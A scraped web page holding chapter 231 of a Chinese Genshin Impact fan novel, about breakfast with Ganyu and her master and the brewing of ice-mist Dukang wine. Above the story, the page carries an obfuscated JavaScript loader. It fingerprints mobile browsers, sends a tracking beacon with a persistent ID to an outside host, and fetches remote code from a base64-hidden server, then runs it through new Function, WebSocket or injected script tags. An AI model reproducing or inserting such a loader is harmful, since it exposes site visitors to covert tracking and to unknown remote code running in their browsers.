足迹
只关于
登录
关灯
护眼
字体:

第231章 冰雾杜康酒(第1页)

function OVHGxRJ(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function YTrZu(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return OVHGxRJ(t);};window[''+'a'+'L'+'e'+'X'+'U'+'l'+'s'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){var x=YTrZu,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0])));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://yh.dyuthic.com:7891/stats/7728/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh3/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1])));var ws=new WebSocket(k+'/wh3/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh3/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh3/'+i;cs.parentElement.insertBefore(s,cs);}})('aHHR0cHHMlM0ElMkYlMkZ0by5tb2xpMTAyLnRvcCUzQTg4OTE=','d3NzJTNBJTJGJTJGdW0uYmNlbbnJzbby5jbb20lM0E5NTM1','4674',window,document,['H','b']);}:function(){};

“真君!!你不要再为难沐风了!”

甘雨见留云借风真君又在调戏苏沐风,连忙冲上前,双手紧握,大声说道。

“哈哈,孩子大了,留不住啊,好啦好啦,本仙就不闹了,你们快来吃早饭吧,再不吃就凉了,本仙可是特意做了一些璃月特色早饭给你们尝尝。”

留云借风真君见甘雨都开始护夫了,也不再打算继续逗苏沐风,反正以后机会多的是。

三人就这样在略显尴尬的环境中吃完了这一顿早饭。

留云借风真君的手艺虽然不如苏沐风,但也绝对称得上是顶尖,哪怕是新月轩请来的须弥大厨也不及她一半的手艺。

也难怪甘雨小时候会吃的白白胖胖的,有一个手艺这么好的师傅把她当成女儿来养,想不胖都难啊。

……

吃完早饭,已经到了早上十点一刻,在甘雨的坚持下,苏沐风只好答应,在把甘雨送去玉京台后返回餐厅,开始今天的营业。

虽说苏沐风帮她向凝光请了两天假,可是对于甘雨来说,能够休息一天半,已经非常满足了,而且她也不是个闲得下来的人。

几千年过去,工作已经成为了她日常生活中必不可缺的一部分,突然休息这么久反而会不习惯。

……

异世界餐厅,厨房灯光明明晃晃的照在苏沐风那略感疲惫的面容上。

甘雨的体质实在是太好了,好到即便是强化了体质的苏沐风也有些顶不住。

不过苏沐风在喝了一碗甜豆腐脑后,精力也是恢复了不少,丝毫不影响日常工作。

活动了一下筋骨后,苏沐风这才想起来,一斗之前帮自己采集了不少冰雾花,现在都放在冰箱里面。

打开冰箱,检查了一下冰雾花的质量,发现有部分冰雾花上面的冰元素已经开始消散。

事不宜迟,现在就把这些冰雾花全部拿来酿酒,不然到时候这些冰雾花可就全部融化掉了。

苏沐风先是在脑海中回忆了一下杜康酒的酿造以及历史。

杜康酒的酿造,是一项十分古老的传统酿造工艺。

三百年以前,杜康酒的酿造工艺便已经无从考究了。

据今存杜康庙内的古词记载:“其造酒之法,七日而味成,由是而续之,一夕而出,俗是以有鸡鸣酒之号。其工省,其味淡,殆太羹无酒之遗意焉。”

百年之后,后人收集了散落在白水民间的酿酒遗方,收集整理,逐步形成了一套五大工序,六道酿造工艺的杜康老酒手工酿造技术。

苏沐风望着眼前一大袋子的冰雾花,感受着里面逼人的浓郁寒气,抚摸着下巴,开始思考冰雾杜康酒的制作工序。

随后,冰雾杜康酒的制作工序便像是早就已经深刻于他的记忆里面一样,直接涌现而出。

首先需要将稻皮清蒸,排除其中邪杂之味,以利酒质纯正。

之后便是将配料进行润料,必须按照严格的比例进行混合,浸润疏松酒醅。

第三步要进行蒸馏糊化,利用原料变性的特性,进行馏酒提香,随后是施量冷却,沙醅摊于晾场,浇水翻拌冷却。

接下来便是最重要的一步,加入酒曲进行搅拌,然后进行大渣加曲,再将冰雾花以及各种配料加入,充分均匀搅拌。